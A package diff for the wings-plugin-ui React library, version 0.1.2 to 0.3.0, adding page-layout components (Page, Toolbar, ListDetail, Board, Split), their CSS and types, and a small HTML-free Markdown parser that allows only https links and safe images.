wings-plugin-ui 0.1.2 → 0.3.0

package/README.md

@@ -68,6 +68,10 @@ message.
 | `Stats` | `items: { label, value, tone? }[]` | Small figures side by side, label over value |
 | `Properties` | `items: { label, value }[]` | Label and value pairs |
 | `List`, `ListItem`, `ListButton` | `ordered` and `compact` on `List`, `align` on the rows | A list of rows; a `ListButton` in a `ListItem` makes the row a button |
+| `Page`, `Toolbar` | `Page`: `toolbar`, `flush`; `Toolbar`: `title`, `actions`, `children` | A page that fills a tab: a toolbar row (title, then filters in `children`, `actions` on the right) over a body that scrolls. `flush` drops the body's padding and scrolling for a body that lays itself out. Show it with `showTab(<Page />, { fill: true })` |
+| `ListDetail` | `list`, `detail`, `empty`, `listWidth` (px, 280), `listLabel`, `detailLabel`, `onBack`, `backLabel` | A list pane and a detail pane side by side; `empty` shows until there is a `detail`. Under 560px wide it shows one pane, the list or the detail, with a back button when `onBack` is given |
+| `Board`, `BoardColumn` | `Board`: `label`; `BoardColumn`: `title`, `count`, `actions` | Columns that scroll sideways, each with a header, a count and a scrolling stack of cards (use `Card`). The board is a focusable region, so the arrow keys scroll it |
+| `Split` | `start`, `end`, `direction` (`horizontal`, `vertical`), `defaultSize` (px, 280), `min` (120), `max`, `onResize`, `label` | Two panes with a draggable handle, a `separator` with `aria-valuenow` in px. Arrow keys (Shift for bigger steps), Home and End resize it. A drag only changes a CSS variable and `onResize(size)` runs once when it ends, so save it with `wings.setTabState()` and pass it back as `defaultSize` |
 | `Dot`, `Spinner` | `tone`, `size`, `label`; `Dot` also `color` | A status dot or a spinner, announced only with a `label`. A dot's `color` comes from your data, like a work item type's `#cc293d` |
 | `Pill`, `Tag` | `tone` | A filled pill, or an outlined tag like a branch |
 | `Loading`, `Empty` | `Empty`: `title`, `description` | Before the first data, and nothing to show |
@@ -81,6 +85,7 @@ message.
 | `Combobox` | `label`, `value`, `onInput`, `options: { value, label, detail? }[]`, `onPick`, `onEnter`, `onKeyDown`, `freeText`, `openOnFocus`, `open`, `filter`, `empty` | A text field with suggestions under it: arrows, Enter, Escape and Tab, and a press outside closes it. With `freeText` it keeps what you type; otherwise it picks one of `options`. `openOnFocus={false}` for a page that puts focus back into it after a render. Without `freeText` the picked label is selected when the field gets focus and after a pick, so typing replaces it. `onEnter(text)` runs on Enter when no option is highlighted, with the typed text, and stops the Enter from submitting a form around it. An `onKeyDown` you pass runs first; `e.preventDefault()` in it skips the combobox's own keys. ArrowDown on a closed combobox opens it and highlights the first option, as in the [WAI-ARIA APG combobox pattern](https://www.w3.org/WAI/ARIA/apg/patterns/combobox/). `open="whileText"` keeps the list shown for as long as the field has text and an option matches, even after Escape, Tab or a press outside (those only clear the highlighted option) and it closes when the text is emptied or an option is picked; `aria-expanded` follows whether the list is shown. Accessibility caveat: the APG pattern has Escape dismiss the popup and treats it as shown only while the user is working in the combobox, so this mode departs from it. Use it only where the suggestions are the page's main content, such as a people search that is useful to keep in view, and not for a field where a stray list would cover other controls |
 | `Menu` | `label`, `items: { id, label, onSelect, tone? }[]`, `align`, `variant`, `size` | A button that opens a menu: arrows, Home, End, Enter, Escape |
 | `Disclosure` | `summary` | More behind a line that opens it |
+| `Markdown` | `source`, `inline` | Markdown as React: headings, lists with read-only task checkboxes, GFM tables, fenced code, quotes, rules, bold, italics, strikethrough, links and bare https URLs, and images. No HTML is ever parsed; only `https:` links open (through `wings.openUrl`, so the manifest needs `permissions.openUrl` with an `https://` prefix) and images load only from `https:` or `data:image/` png, jpeg, gif or webp URLs up to 8,000 characters (`MAX_DATA_IMAGE`); an `https:` image shows as a "Load image from <host>" button and loads only when clicked (no option to turn that off), because the text may come from an agent and the URL could carry data out, and a `data:` image shows at once; `[![alt](img)](url)` is a link with the alt as its text. `inline` renders just the inline parts in a span. Memoized on `source` |
 
 Every component passes other props, like `id`, `title`, `className`, `onClick` and `aria-*`, to its element.
 `TextInput` and `SearchField` pass `ref` to the input on React 19.
@@ -147,6 +152,7 @@ rather than styles.
 `w-shell` with `data-place` (`sidebar`, `popover`, `view`, `tab`, `settings`) and `data-fill`; `w-row`,
 `w-stack` with `data-gap`, `data-align`, `data-justify`, `data-wrap`, `data-grow`; `w-text` with `data-tone`,
 `data-size`, `data-weight`, `data-mono`, `data-numeric`, `data-truncate`, `data-clamp`, `data-grow`;
+`w-page`, `w-page-body` with `data-flush`; `w-toolbar`, `w-toolbar-title`, `w-toolbar-main`, `w-toolbar-actions`; `w-list-detail` with `data-has-detail` and `--w-list-width`, `w-list-detail-list`, `w-list-detail-detail`, `w-list-detail-body`, `w-list-detail-back`; `w-board`, `w-board-column`, `w-board-column-header`, `w-board-column-title`, `w-board-column-count`, `w-board-column-actions`, `w-board-column-body`; `w-split` with `data-direction`, `data-dragging` and `--w-split-size`, `w-split-pane`, `w-split-handle`;
 `w-title` with `data-size`; `w-heading`, `w-heading-row`; `w-card` with `data-size`; `w-gauge`, `w-gauge-label`, `w-gauge-value`,
 `w-gauge-note`, `w-meter` with `data-tone`, `w-meter-fill`; `w-stats`, `w-stat-label`, `w-stat-value`;
 `w-props`, `w-prop`, `w-prop-label`, `w-prop-value`; `w-list` with `data-density`, `w-list-item`,

package/markdown.js

@@ -0,0 +1,187 @@
+// A small, safe Markdown parser for plugin pages, as data. It never produces HTML: text stays text, so React escapes
+// it, and the only URLs it lets through are https links and https or small data:image images.
+//
+// Blocks: headings, paragraphs, lists (flat, with an indent depth, and task items), fenced code, quotes, rules and
+// GFM tables. Inline: code, bold, italics, strikethrough, links, images and bare https URLs.
+
+/** A data: image longer than this, in characters, is shown as its alt text. */
+export const MAX_DATA_IMAGE = 8000;
+
+/** Only https links are ever opened. Anything else (javascript:, http:, data:, relative) is not a link. */
+export const safeHref = (href) => (/^https:\/\/[^\s<>"'`]+$/i.test(href) ? href : null);
+
+/** Only https images, and small raster data: images. SVG is left out, since it can carry script. */
+export const safeSrc = (src) => {
+  if (/^https:\/\/[^\s<>"'`]+$/i.test(src)) return src;
+  if (src.length <= MAX_DATA_IMAGE && /^data:image\/(?:png|jpe?g|gif|webp);base64,[a-z0-9+/]+=*$/i.test(src)) return src;
+  return null;
+};
+
+const heading = /^\s{0,3}(#{1,6})\s+(.*)$/;
+const bullet = /^(\s*)[-*+]\s+(.*)$/;
+const numbered = /^(\s*)\d+[.)]\s+(.*)$/;
+const fence = /^\s*(```|~~~)\s*([\w+-]*)/;
+const rule = /^\s*([-*_])(\s*\1){2,}\s*$/;
+const delimiterCell = /^:?-+:?$/;
+
+/** The cells of a table row: split on `|` that isn't escaped as `\|`, outer pipes dropped. */
+export function splitRow(line) {
+  let s = line.trim();
+  if (s.startsWith("|")) s = s.slice(1);
+  if (s.endsWith("|") && !s.endsWith("\\|")) s = s.slice(0, -1);
+  const cells = [];
+  let cell = "";
+  for (let i = 0; i < s.length; i++) {
+    if (s[i] === "\\" && s[i + 1] === "|") {
+      cell += "|";
+      i++;
+    } else if (s[i] === "|") {
+      cells.push(cell.trim());
+      cell = "";
+    } else cell += s[i];
+  }
+  cells.push(cell.trim());
+  return cells;
+}
+
+/** A table's delimiter row (`| --- | :-: |`) as column alignments, or null when the line isn't one. */
+function delimiterRow(line) {
+  if (!line.includes("-") || !line.includes("|") && !/^\s*:?-+:?\s*$/.test(line)) return null;
+  const cells = splitRow(line);
+  if (!cells.every((c) => delimiterCell.test(c))) return null;
+  return cells.map((c) => (c.startsWith(":") && c.endsWith(":") ? "center" : c.endsWith(":") ? "right" : c.startsWith(":") ? "left" : null));
+}
+
+/** A heading's text without its closing hashes (`## Title ##`), found by walking back from the end. */
+function headingText(text) {
+  let end = text.length;
+  while (end > 0 && /\s/.test(text[end - 1])) end--;
+  let hashes = end;
+  while (hashes > 0 && text[hashes - 1] === "#") hashes--;
+  if (hashes < end && hashes > 0 && /\s/.test(text[hashes - 1])) {
+    end = hashes;
+    while (end > 0 && /\s/.test(text[end - 1])) end--;
+  }
+  return text.slice(0, end);
+}
+
+/**
+ * Blocks of Markdown, as data:
+ * `{ kind: "heading", level 1-6, text }`, `{ kind: "paragraph", text }`,
+ * `{ kind: "list", ordered, items: { text, depth 0-3, checked: boolean | null }[] }`, `{ kind: "code", lang, text }`,
+ * `{ kind: "quote", text }`, `{ kind: "rule" }` and `{ kind: "table", align, head, rows }`.
+ */
+export function parseBlocks(src) {
+  const blocks = [];
+  const lines = String(src).replace(/\r\n?/g, "\n").split("\n");
+  let paragraph = [];
+  const flush = () => {
+    if (paragraph.length) blocks.push({ kind: "paragraph", text: paragraph.join(" ") });
+    paragraph = [];
+  };
+  for (let i = 0; i < lines.length; i++) {
+    const line = lines[i];
+    const open = fence.exec(line);
+    if (open) {
+      flush();
+      const code = [];
+      while (++i < lines.length && !new RegExp(`^\\s*${open[1]}\\s*$`).test(lines[i])) code.push(lines[i]);
+      blocks.push({ kind: "code", lang: open[2], text: code.join("\n") });
+      continue;
+    }
+    if (!line.trim()) {
+      flush();
+      continue;
+    }
+    // A table: a header row with a pipe, then a delimiter row with as many cells.
+    if (line.includes("|") && i + 1 < lines.length) {
+      const align = delimiterRow(lines[i + 1]);
+      const head = align && splitRow(line);
+      if (align && head.length === align.length) {
+        flush();
+        const rows = [];
+        let j = i + 2;
+        for (; j < lines.length && lines[j].trim() && lines[j].includes("|"); j++) {
+          const cells = splitRow(lines[j]);
+          // Short rows are padded and long ones cut, as GFM does.
+          rows.push(Array.from({ length: head.length }, (_, c) => cells[c] ?? ""));
+        }
+        blocks.push({ kind: "table", align, head, rows });
+        i = j - 1;
+        continue;
+      }
+    }
+    const h = heading.exec(line);
+    const li = bullet.exec(line) ?? numbered.exec(line);
+    if (h) {
+      flush();
+      blocks.push({ kind: "heading", level: h[1].length, text: headingText(h[2]) });
+    } else if (rule.test(line)) {
+      flush();
+      blocks.push({ kind: "rule" });
+    } else if (li) {
+      flush();
+      const ordered = !bullet.test(line);
+      const task = /^\[([ xX])\]\s+(.*)$/.exec(li[2]);
+      const item = { text: task ? task[2] : li[2], depth: Math.min(3, Math.floor(li[1].replace(/\t/g, "  ").length / 2)), checked: task ? task[1] !== " " : null };
+      const last = blocks.at(-1);
+      if (last?.kind === "list" && last.ordered === ordered) last.items.push(item);
+      else blocks.push({ kind: "list", ordered, items: [item] });
+    } else if (line.trimStart().startsWith(">")) {
+      flush();
+      const text = line.replace(/^\s*>\s?/, "");
+      const last = blocks.at(-1);
+      if (last?.kind === "quote") last.text += ` ${text}`;
+      else blocks.push({ kind: "quote", text });
+    } else paragraph.push(line.trim());
+  }
+  flush();
+  return blocks;
+}
+
+// Every scan is bounded and stops at a newline, so a long run of brackets or markers costs a bounded step per start
+// rather than a pass over the rest of the text.
+const inlinePattern =
+  /\[!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)\]\(([^)\s]{1,2000})\)|!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)|\[([^\[\]\n]{1,200})\]\(([^)\s]{1,2000})\)|`([^`\n]{1,2000})`|\*\*([^*\n]{1,2000})\*\*|~~([^~\n]{1,2000})~~|\*([^*\s][^*\n]{0,2000})\*|(https:\/\/[^\s<>"'`)\]]{1,2000})/gi;
+
+const sentenceEnd = ".,;:!?";
+
+/**
+ * Inline spans: `{ kind: "text" | "code" | "strong" | "em" | "del", text }`, `{ kind: "link", text, href }` and
+ * `{ kind: "image", alt, src }`. A link that isn't https is its text; an image that isn't allowed is its alt text. An
+ * image inside a link (`[![alt](img)](url)`) is a link whose text is the alt.
+ */
+export function parseInline(src) {
+  const out = [];
+  let at = 0;
+  for (const m of src.matchAll(inlinePattern)) {
+    if (m.index > at) out.push({ kind: "text", text: src.slice(at, m.index) });
+    at = m.index + m[0].length;
+    if (m[3] !== undefined) {
+      const href = safeHref(m[3]);
+      const text = m[1] || m[3];
+      out.push(href ? { kind: "link", text, href } : { kind: "text", text: m[1] });
+    } else if (m[5] !== undefined) {
+      const safe = safeSrc(m[5]);
+      if (safe) out.push({ kind: "image", alt: m[4], src: safe });
+      else if (m[4]) out.push({ kind: "text", text: m[4] });
+    } else if (m[7] !== undefined) {
+      const href = safeHref(m[7]);
+      out.push(href ? { kind: "link", text: m[6], href } : { kind: "text", text: m[6] });
+    } else if (m[8] !== undefined) out.push({ kind: "code", text: m[8] });
+    else if (m[9] !== undefined) out.push({ kind: "strong", text: m[9] });
+    else if (m[10] !== undefined) out.push({ kind: "del", text: m[10] });
+    else if (m[11] !== undefined) out.push({ kind: "em", text: m[11] });
+    else {
+      // A bare URL, without the punctuation that ends a sentence.
+      let end = m[12].length;
+      while (end > 0 && sentenceEnd.includes(m[12][end - 1])) end--;
+      const url = m[12].slice(0, end);
+      const href = safeHref(url);
+      out.push(href ? { kind: "link", text: url, href } : { kind: "text", text: url });
+      if (end < m[12].length) out.push({ kind: "text", text: m[12].slice(end) });
+    }
+  }
+  if (at < src.length) out.push({ kind: "text", text: src.slice(at) });
+  return out;
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "wings-plugin-ui",
-  "version": "0.1.2",
+  "version": "0.3.0",
   "description": "React components and the stylesheet for Wings plugin pages, on Base UI like the Wings app's shadcn/ui components.",
   "license": "MIT",
   "type": "module",
@@ -14,6 +14,7 @@
   },
   "files": [
     "ui.js",
+    "markdown.js",
     "ui.d.ts",
     "plugin-ui.css",
     "README.md",
@@ -33,7 +34,7 @@
   "peerDependencies": {
     "react": ">=19",
     "react-dom": ">=19",
-    "wings-plugin-sdk": "^0.6.0 || ^0.7.0"
+    "wings-plugin-sdk": "^0.6.0 || ^0.7.0 || ^0.8.0"
   },
   "devDependencies": {
     "@types/react": "^19.1.8",

package/plugin-ui.css

@@ -357,6 +357,243 @@ textarea::placeholder {
   font-size: 12px;
 }
 
+/* Pages that fill a tab: a toolbar over a body, list and detail, a board, a split. */
+.w-page {
+  display: flex;
+  flex: 1;
+  flex-direction: column;
+  min-width: 0;
+  min-height: 0;
+}
+.w-page-body {
+  display: flex;
+  flex: 1;
+  flex-direction: column;
+  gap: 10px;
+  min-width: 0;
+  min-height: 0;
+  padding: 14px;
+  overflow: auto;
+}
+.w-page-body[data-flush] {
+  gap: 0;
+  padding: 0;
+  overflow: hidden;
+}
+.w-page-body[data-flush] > :is(.w-list-detail, .w-split, .w-board) {
+  flex: 1;
+}
+.w-toolbar {
+  display: flex;
+  flex: none;
+  align-items: center;
+  gap: 10px;
+  min-width: 0;
+  padding: 8px 14px;
+  border-bottom: 1px solid var(--wings-hairline);
+}
+.w-toolbar-title {
+  flex: none;
+  max-width: 40%;
+}
+.w-toolbar-main {
+  display: flex;
+  flex: 1;
+  align-items: center;
+  gap: 8px;
+  min-width: 0;
+}
+.w-toolbar-actions {
+  display: flex;
+  flex: none;
+  align-items: center;
+  gap: 6px;
+}
+
+/* List and detail side by side; one pane when the page is narrower than 560px. */
+.w-list-detail {
+  display: flex;
+  min-width: 0;
+  min-height: 0;
+  container-type: inline-size;
+}
+.w-list-detail-list {
+  flex: none;
+  width: var(--w-list-width, 280px);
+  min-width: 0;
+  padding: 8px;
+  overflow-y: auto;
+  border-right: 1px solid var(--wings-hairline);
+}
+.w-list-detail-detail {
+  display: flex;
+  flex: 1;
+  flex-direction: column;
+  min-width: 0;
+  overflow: hidden;
+}
+.w-list-detail-body {
+  display: flex;
+  flex: 1;
+  flex-direction: column;
+  min-height: 0;
+  padding: 14px;
+  overflow-y: auto;
+}
+.w-list-detail-body > .w-empty {
+  flex: 1;
+}
+.w-list-detail-back {
+  display: none;
+  align-self: flex-start;
+  margin: 8px 8px 0;
+}
+@container (max-width: 560px) {
+  .w-list-detail-list {
+    flex: 1;
+    width: auto;
+    border-right: 0;
+  }
+  .w-list-detail[data-has-detail] > .w-list-detail-list,
+  .w-list-detail:not([data-has-detail]) > .w-list-detail-detail {
+    display: none;
+  }
+  .w-list-detail-back {
+    display: inline-flex;
+  }
+}
+
+/* A board: columns that scroll sideways, each with a header and its cards. */
+.w-board {
+  display: flex;
+  align-items: flex-start;
+  gap: 10px;
+  min-width: 0;
+  min-height: 0;
+  padding: 14px;
+  overflow-x: auto;
+}
+.w-board-column {
+  display: flex;
+  flex: none;
+  flex-direction: column;
+  align-self: stretch;
+  width: 272px;
+  min-height: 0;
+  padding: 8px;
+  border: 1px solid var(--wings-hairline);
+  border-radius: var(--wings-radius);
+  background: var(--wings-surface);
+}
+.w-board-column-header {
+  display: flex;
+  flex: none;
+  align-items: center;
+  gap: 6px;
+  min-width: 0;
+  padding: 2px 4px 8px;
+}
+.w-board-column-title {
+  flex: 1;
+  min-width: 0;
+  overflow: hidden;
+  font-size: 12px;
+  font-weight: 600;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+.w-board-column-count {
+  font-variant-numeric: tabular-nums;
+}
+.w-board-column-actions {
+  display: flex;
+  align-items: center;
+  gap: 4px;
+}
+.w-board-column-body {
+  display: flex;
+  flex: 1;
+  flex-direction: column;
+  gap: 8px;
+  min-height: 0;
+  overflow-y: auto;
+}
+
+/* A split: --w-split-size is the start pane's size, changed while you drag the handle. */
+.w-split {
+  display: flex;
+  min-width: 0;
+  min-height: 0;
+}
+.w-split[data-direction="vertical"] {
+  flex-direction: column;
+}
+.w-split[data-dragging] {
+  user-select: none;
+}
+.w-split-pane {
+  display: flex;
+  flex-direction: column;
+  min-width: 0;
+  min-height: 0;
+  overflow: auto;
+}
+.w-split-pane:first-child {
+  flex: none;
+}
+.w-split[data-direction="horizontal"] > .w-split-pane:first-child {
+  width: var(--w-split-size);
+}
+.w-split[data-direction="vertical"] > .w-split-pane:first-child {
+  height: var(--w-split-size);
+}
+.w-split-pane:last-child {
+  flex: 1;
+}
+.w-split-handle {
+  position: relative;
+  flex: none;
+  touch-action: none;
+  outline: none;
+}
+.w-split[data-direction="horizontal"] > .w-split-handle {
+  width: 9px;
+  margin: 0 -4px;
+  cursor: col-resize;
+  z-index: 1;
+}
+.w-split[data-direction="vertical"] > .w-split-handle {
+  height: 9px;
+  margin: -4px 0;
+  cursor: row-resize;
+  z-index: 1;
+}
+.w-split-handle::before {
+  content: "";
+  position: absolute;
+  background: var(--wings-hairline);
+  transition: background-color 150ms;
+}
+.w-split[data-direction="horizontal"] > .w-split-handle::before {
+  inset: 0 4px;
+}
+.w-split[data-direction="vertical"] > .w-split-handle::before {
+  inset: 4px 0;
+}
+.w-split-handle:hover::before,
+.w-split-handle[data-dragging]::before {
+  background: var(--wings-hairline-strong);
+}
+.w-split-handle:focus-visible::before {
+  background: var(--wings-ring);
+}
+.w-split[data-direction="horizontal"] > .w-split-handle:focus-visible::before {
+  inset: 0 3px;
+}
+.w-split[data-direction="vertical"] > .w-split-handle:focus-visible::before {
+  inset: 3px 0;
+}
+
 /* A labelled bar, and the bar on its own. --w-value is how full it is. */
 .w-gauge {
   display: grid;
@@ -1289,4 +1526,139 @@ textarea::placeholder {
     animation: none;
   }
 }
+/* Markdown */
+.w-md {
+  display: flex;
+  flex-direction: column;
+  gap: 10px;
+  line-height: 1.55;
+  overflow-wrap: anywhere;
+  min-width: 0;
+}
+span.w-md {
+  display: inline;
+}
+.w-md-heading {
+  margin: 4px 0 0;
+  font-weight: 600;
+  font-size: 14px;
+}
+.w-md-heading[data-level="1"] {
+  font-size: 15px;
+}
+.w-md-heading[data-level="3"],
+.w-md-heading[data-level="4"] {
+  font-size: 13px;
+}
+.w-md-list {
+  margin: 0;
+  padding-left: 20px;
+}
+.w-md-list:not([data-ordered]) {
+  list-style: disc;
+}
+.w-md-list[data-ordered] {
+  list-style: decimal;
+}
+.w-md-list > li[data-depth="1"] {
+  margin-left: 16px;
+}
+.w-md-list > li[data-depth="2"] {
+  margin-left: 32px;
+}
+.w-md-list > li[data-depth="3"] {
+  margin-left: 48px;
+}
+.w-md-list > li[data-task] {
+  list-style: none;
+  margin-left: -20px;
+}
+.w-md-list > li[data-task][data-depth="1"] {
+  margin-left: -4px;
+}
+.w-md-check {
+  width: 13px;
+  height: 13px;
+  margin: 0 6px 0 0;
+  padding: 0;
+  vertical-align: -2px;
+  accent-color: var(--wings-fg);
+}
+.w-md-code {
+  padding: 1px 4px;
+  border-radius: 4px;
+  background: rgb(255 255 255 / 0.08);
+  font-family: var(--wings-mono);
+  font-size: 0.92em;
+}
+.w-md-pre {
+  margin: 0;
+  padding: 10px 12px;
+  overflow-x: auto;
+  border-radius: 8px;
+  background: rgb(255 255 255 / 0.06);
+  font: 12px/1.45 var(--wings-mono);
+}
+.w-md-quote {
+  margin: 0;
+  padding-left: 12px;
+  border-left: 2px solid var(--wings-hairline-strong);
+  color: var(--wings-muted);
+}
+.w-md-rule {
+  width: 100%;
+  border: 0;
+  border-top: 1px solid var(--wings-hairline);
+}
+.w-md-link {
+  color: var(--wings-info);
+  text-underline-offset: 2px;
+}
+.w-md-link:hover {
+  text-decoration: underline;
+}
+.w-md-image {
+  display: block;
+  max-width: 100%;
+  height: auto;
+  border-radius: 8px;
+}
+.w-md-image-load {
+  height: auto;
+  max-width: 100%;
+  padding: 4px 10px;
+  font-size: 12px;
+  overflow-wrap: anywhere;
+}
+.w-md-table-wrap {
+  max-width: 100%;
+  overflow-x: auto;
+  border: 1px solid var(--wings-hairline);
+  border-radius: 8px;
+}
+.w-md-table {
+  width: 100%;
+  border-collapse: collapse;
+  font-size: 12.5px;
+}
+.w-md-table th,
+.w-md-table td {
+  padding: 6px 10px;
+  border-bottom: 1px solid var(--wings-hairline);
+  text-align: left;
+  vertical-align: top;
+}
+.w-md-table th {
+  background: var(--wings-surface);
+  font-weight: 600;
+}
+.w-md-table tbody tr:last-child td {
+  border-bottom: 0;
+}
+.w-md-table [data-align="center"] {
+  text-align: center;
+}
+.w-md-table [data-align="right"] {
+  text-align: right;
+}
 }

package/ui.d.ts

@@ -78,6 +78,65 @@ export function Title(props: Props<"h1"> & { as?: "h1" | "h2" | "h3"; size?: "la
 /** A card. `compact` for a summary line. As a `form` it holds a form; as a `ul` or `ol`, a list of `li`. `as` types the props like `Row`'s. */
 export function Card<E extends CardAs = "div">(props: Own<E, { as?: E; compact?: boolean }>): ReactElement;
 
+// ---------- pages ----------
+
+/**
+ * A page that fills a tab: a `toolbar`, usually a `Toolbar`, over a body that scrolls. `flush` takes the body's padding
+ * and scrolling away, for a body that lays itself out, like a `ListDetail`, a `Split` or a `Board`. Show it with
+ * `showTab(<Page />, { fill: true })`.
+ */
+export function Page(props: Props<"div"> & { toolbar?: ReactNode; flush?: boolean }): ReactElement;
+/** A page's top row: a `title` (cut to one line) on the left, `children` like filters or a search box after it, and `actions` on the right. */
+export function Toolbar(props: Omit<Props<"header">, "title"> & { title?: ReactNode; actions?: ReactNode }): ReactElement;
+/**
+ * A `list` pane and a `detail` pane side by side. Without a `detail` the detail pane shows `empty`. When the page is
+ * narrower than 560px it shows one pane: the list, or the detail once there is one, with a back button if `onBack`
+ * is given. Each pane is a `section`; name them with `listLabel` and `detailLabel`.
+ */
+export function ListDetail(
+  props: Omit<Props<"div">, "children"> & {
+    list: ReactNode;
+    detail?: ReactNode;
+    /** What the detail pane shows without a `detail`: an `Empty` saying "Nothing selected" by default. */
+    empty?: ReactNode;
+    /** The list's width in px, 280 by default. */
+    listWidth?: number;
+    listLabel?: string;
+    detailLabel?: string;
+    /** Shows a back button above the detail when the page is too narrow for both panes. */
+    onBack?: () => void;
+    /** The back button's text, "Back" by default. */
+    backLabel?: string;
+  },
+): ReactElement;
+/** Columns side by side that scroll sideways, each a `BoardColumn`. A region named `label`, that takes keyboard focus so the arrow keys scroll it. */
+export function Board(props: Omit<Props<"div">, "role"> & { label: string }): ReactElement;
+/** A column of a `Board`: a `title` with the `count` of its cards and `actions`, over `children`, usually `Card`s, that scroll. */
+export function BoardColumn(props: Omit<Props<"section">, "title"> & { title: ReactNode; count?: number; actions?: ReactNode }): ReactElement;
+/**
+ * Two panes, `start` and `end`, with a handle between them. Drag the handle, or focus it and press the arrow keys
+ * (Shift for bigger steps), Home or End. A drag changes a CSS variable only and commits on release, so nothing renders
+ * per frame. The handle is a `separator` with `aria-valuenow` in px.
+ */
+export function Split(
+  props: Omit<Props<"div">, "children"> & {
+    start: ReactNode;
+    end: ReactNode;
+    /** "horizontal" (default) puts the panes side by side, "vertical" one over the other. */
+    direction?: "horizontal" | "vertical";
+    /** The start pane's size in px at first, 280 by default. Read from `wings.tabState()` to restore a saved one. */
+    defaultSize?: number;
+    /** The smallest either pane gets, in px, 120 by default. */
+    min?: number;
+    /** The biggest the start pane gets, in px. */
+    max?: number;
+    /** Gets the start pane's size in px when a drag or a key press ends, to save it with `wings.setTabState()`. */
+    onResize?: (size: number) => void;
+    /** Names the handle: "Resize panes" by default. */
+    label?: string;
+  },
+): ReactElement;
+
 // ---------- figures ----------
 
 /** A bar from 0 to 100, with the meter role. */
@@ -275,3 +334,17 @@ export function Menu(props: Omit<Props<"button">, "children"> & { label: ReactNo
 export function Disclosure(
   props: Omit<Props<"div">, "children"> & { summary: ReactNode; children?: ReactNode; open?: boolean; defaultOpen?: boolean; onOpenChange?: (open: boolean) => void },
 ): ReactElement;
+
+// ---------- markdown ----------
+
+/**
+ * Markdown as React elements: headings, paragraphs, lists (with read-only task checkboxes), fenced code, quotes,
+ * rules, GFM tables, bold, italics, strikethrough, inline code, links, bare https URLs and images. No HTML is ever
+ * parsed. Links open through `wings.openUrl` and only when they are https, so the manifest needs
+ * `permissions.openUrl: ["https://"]` for them to work. Images load only from https or `data:image/` (png, jpeg, gif,
+ * webp) URLs of up to 8,000 characters; anything else shows its alt text. A remote https image shows as a "Load image from <host>" button and loads only when clicked, since text an agent wrote could otherwise leak data in the URL; a data: image shows at once. `inline` renders only the inline parts, in
+ * a span, for a table cell or a one-line value. Re-renders only when `source` changes.
+ */
+export function Markdown(props: Omit<Props<"div">, "children"> & { source: string; inline?: boolean }): ReactElement;
+/** The longest `data:image/` URL, in characters, that `Markdown` shows. */
+export const MAX_DATA_IMAGE: number;

package/ui.js

@@ -14,9 +14,13 @@ import { Select as BaseSelect } from "@base-ui/react/select";
 import { Tabs as BaseTabs } from "@base-ui/react/tabs";
 import { Toggle as BaseToggle } from "@base-ui/react/toggle";
 import { ToggleGroup as BaseToggleGroup } from "@base-ui/react/toggle-group";
-import { createContext, createElement as h, useContext, useEffect, useId, useLayoutEffect, useRef, useState } from "react";
+import { createContext, createElement as h, useContext, useEffect, useId, memo, useLayoutEffect, useRef, useState } from "react";
 import { createRoot } from "react-dom/client";
 
+import { MAX_DATA_IMAGE, parseBlocks, parseInline } from "./markdown.js";
+
+export { MAX_DATA_IMAGE };
+
 import { mountShell } from "wings-plugin-sdk/shell";
 
 // ---------- places ----------
@@ -111,6 +115,176 @@ export function Card({ as = "div", compact, className, ...rest }) {
   return h(as, { ...rest, className: cx("w-card", className), "data-size": compact ? "compact" : undefined });
 }
 
+// ---------- pages ----------
+
+/**
+ * A page that fills a tab: a `toolbar` (usually a `Toolbar`) over a body that scrolls. `flush` takes the body's padding
+ * and scrolling away, for a body that lays itself out, like a `ListDetail`, a `Split` or a `Board`. Show it with
+ * `showTab(<Page />, { fill: true })`.
+ */
+export function Page({ toolbar, flush, children, className, ...rest }) {
+  return h("div", { ...rest, className: cx("w-page", className) }, toolbar, h("div", { className: "w-page-body", "data-flush": flag(flush) }, children));
+}
+
+/** A page's top row: a `title` on the left, `children` like filters or a search box after it, and `actions` on the right. */
+export function Toolbar({ title, actions, children, className, ...rest }) {
+  return h(
+    "header",
+    { ...rest, className: cx("w-toolbar", className) },
+    title === undefined ? null : h(Title, { truncate: true, className: "w-toolbar-title" }, title),
+    h("div", { className: "w-toolbar-main" }, children),
+    actions ? h("div", { className: "w-toolbar-actions" }, actions) : null,
+  );
+}
+
+/**
+ * A `list` pane and a `detail` pane side by side. Without a `detail` the detail pane shows `empty`. Narrower than the
+ * page can fit both, it shows one: the list, or the detail once there is one, with a back button if `onBack` is given.
+ * `listWidth` is the list's width in px.
+ */
+export function ListDetail({ list, detail, empty = h(Empty, { title: "Nothing selected" }), listWidth = 280, listLabel, detailLabel, onBack, backLabel = "Back", className, style, ...rest }) {
+  const has = detail !== undefined && detail !== null && detail !== false;
+  return h(
+    "div",
+    // The width is data, not a style: plugin-ui.css sizes the list from it.
+    { ...rest, className: cx("w-list-detail", className), style: { ...style, "--w-list-width": `${listWidth}px` }, "data-has-detail": flag(has) },
+    h("section", { className: "w-list-detail-list", "aria-label": listLabel }, list),
+    h(
+      "section",
+      { className: "w-list-detail-detail", "aria-label": detailLabel },
+      has && onBack ? h(Button, { variant: "ghost", size: "sm", className: "w-list-detail-back", onClick: onBack }, backLabel) : null,
+      h("div", { className: "w-list-detail-body" }, has ? detail : empty),
+    ),
+  );
+}
+
+/** Columns side by side that scroll sideways, each a `BoardColumn`. `label` names the scrolling region. */
+export function Board({ label, className, ...rest }) {
+  // A scrolling region has to take focus, or a keyboard can't scroll it.
+  return h("div", { tabIndex: 0, ...rest, role: "region", "aria-label": label, className: cx("w-board", className) });
+}
+
+/** A column of a `Board`: a `title` with the `count` of cards and `actions`, over `children`, usually `Card`s, that scroll. */
+export function BoardColumn({ title, count, actions, children, className, ...rest }) {
+  const id = useId();
+  return h(
+    "section",
+    { ...rest, className: cx("w-board-column", className), "aria-labelledby": id },
+    h(
+      "header",
+      { className: "w-board-column-header" },
+      h("h2", { id, className: "w-board-column-title" }, title),
+      count === undefined ? null : h(Badge, { variant: "secondary", className: "w-board-column-count" }, count),
+      actions ? h("div", { className: "w-board-column-actions" }, actions) : null,
+    ),
+    h("div", { className: "w-board-column-body" }, children),
+  );
+}
+
+const SPLIT_STEP = 16;
+const SPLIT_STEP_LARGE = 64;
+const SPLIT_HANDLE = 9;
+
+/**
+ * Two panes, `start` and `end`, with a handle between them. Drag it or use the arrow keys, Home and End. While you drag
